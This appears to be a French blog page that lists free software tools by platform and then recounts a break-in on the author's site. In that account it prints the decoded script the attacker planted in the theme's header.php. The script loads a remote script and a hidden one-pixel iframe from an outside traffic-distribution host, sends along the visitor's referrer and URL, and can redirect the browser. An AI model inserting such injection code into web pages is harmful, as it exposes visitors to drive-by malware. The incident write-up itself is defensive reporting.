• Gurlchecker, pour extraire les liens d’un site
• Sysusage, outil de monitoring écrit en Perl
• Zarafa, serveur collaboratif et solution de groupware
• Zmanda Recovery Manager, solution Open Source de sauvegarde de MySQL écrite en Perl

Toutes plates-formes

• Dia, logiciel de dessin
• Digsby, client de messagerie, chat, réseaux sociaux
• DirSync Pro, logiciel de synchronisation de fichiers par réseau
• DVBCut, pour éditer vos fichiers Mpeg
• Eagle DNS, un serveur DNS en Java
• InstantBird, logiciel de messagerie instantanée de la fondation Mozilla
• iReport, outil de design pour réaliser des états sous JasperReport
• OpenDocMan, gestionnaire de documents en Php
• Simple Groupware, solution de Groupware en php
• Squeletml, générateur de squelette de site Web écrit en Php
• Sslh, multiplexeur de ports Https et Ssh (écrit en Perl)
• pyaggr3g470r, agrégateur Rss en mode Web écrit en Python
• Task Juggler, un gestionnaire de tâches
• WinFF, interface graphique pour ffmpeg

Windows

• Alcohol 52% Free Edition, logiciel de création d’images à partir de Cd et de Dvd
• Device Doctor, pour mettre à jour vos drivers Windows
• DreamMail, client de messagerie “chinois”
• Dvd2Mpg, encode un Dvd en Mpeg
• Fix File Association répare les associations de fichiers sur Windows Vista et 7
• Flash Backup pour la sauvegarde des clés Usb
• Live Downloader, pour télécharger des vidéos en ligne
• Mail Pass View, pour visualiser les mots de passe associés aux comptes de messagerie
• NiouzeFire, lecteur de News
• Q-dir, gestionnaire de fichiers
• Super Macro, pour générer des macros “universelles” (???)
• SysInternals Suite, une collection d’utilitaires indispensables
• UbeeDisk, pour cloner vos disques et partitions
• TweakNow, un ensemble d’utilitaires pour régler votre configuration Windows
• Wsus Offline Update,  pour faire vos mises à jours sans Windows Update ou quelque chose dans ce goût là ?
• Yoono, client pour les réseaux sociaux

• atop, un autre outil de monitoring de type top
• Balance, un proxy Tcp
• Bacula, système de sauvegarde et de restauration, centralisé de très haute qualité
• Bauk, serveur http qui supporte Perl, Php et Cgi
• Brasero, outil de gravure intégré sous forme de paquets à toutes les distributions Linux
• Cego, système de gestion de base de données relationnel et transactionnel
• Clone2Fs, système de duplication de système de fichiers
• Dooble, navigateur à base de WebKit
• Gnome Mail, pour relever vos mails
• Ocrad, logiciel d’Ocr
• Sagator, une passerelle de type  antispam etantivirus pour serveurs Smtp, Pop, Imap qui supporte ClamAv
• Spamassassin, antispam

Toutes plates-formes

• Banshee, un player audio et vidéo
• Claws Mail, un client de messagerie
• Document Manager, un gestionnaire de documents en Php
• eAccelerator, un cache pour Php
• OffLineImap, pour synchroniser vos comptes Imap (Gmail par exemple) avec un stockage de mails en local au format MailDir. Excellent article sur Saïmon’s blog !
• Piwigo, gestionnaire de gallerie d’images en Php
• Scribus, logiciel de PAO
• SocNetV, outil de visualisation des réseaux sociaux
• SOGo, serveur de groupware
• Tomboy, logiciel de prise de notes
• Ultracopier, outil de copie de fichiers

Windows

• Acoolsoft PPT to Video Free, pour convertir vos PPT en vidéos
• DriverEasy, gestionnaire de drivers sous Windows
• EASEUS Partition Master, gestionnaire de partitions
• Insider, logiciel d’analyse Wifi
• Junko, pour assembler ou disjoindre vos Pdf
• Quick Media Converter, outil de conversion de fichiers audio et vidéo
• SharpPcap, outil de capture de paquets réseau
• Sqlyog, interface d’administration MySQL
• WebShot, logiciel de copie d’écran de page web
• Wi-Spy, pour analyser votre activité Wifi

Hélas, étant sous Linux, je n’ai aucun moyen de vérifier que le contenu d’une page visitée est infecté. Et pourtant, le bougre, il disait juste. Confirmation par mail vers 14 h 00 d’un autre lecteur.

Je cherche dans la page et je tombe là-dessus. Le code présenté ci-dessous a dû faire l’objet d’un décodage de ma part ayant nécessité près d’une heure d’acharnement.

<script>
document.write( "<script src=\ " "+ "http://itsallbreaksoft.net/tds/in.cgi?2&seoref= "+encodeURIComponent(document.referrer)+ "&parameter=$keyword&se=$se&ur=1&HTTP_REFERER= "+ encodeURIComponent(document.URL)+ "&default_keyword=notdefine "+ "\ "><\/script> ");
</script>
<script>
if(typeof(h)== "undefined ")
{
	document.write( "<iframe src='http://itsallbreaksoft.net/tds/in.cgi?3&seoref= "+encodeURIComponent(document.referrer)+ "&parameter=$keyword&se=$se&ur=1&HTTP_REFERER= "+ encodeURIComponent(document.URL)+ "&default_keyword=notdefine' width=1 height=1 border=0 frameborder=0></iframe> ");
}
else if(h.indexOf( "http: ")==0)
{
		window.location=h;
}
</script>

L’injection s’est faite par une connexion à l’interface d’admin en 1 seule tentative, signe que l’assaillant était en possession d’un des mots de passe de Voie Militante. Il a déposé le code malicieux dans la page header.php du template que nous utilisons. Or, nous sommes deux à posséder un compte d’administration.

L’adresse ip de la machine concernée est 203.211.135.160 dont le nom est x7.yishun.sg ! Aucun élément sur son propriétaire.

J’ai évidemment communiqué tous les éléments en ma possession à un service de police spécialisé. Deux attaques en moins de six mois.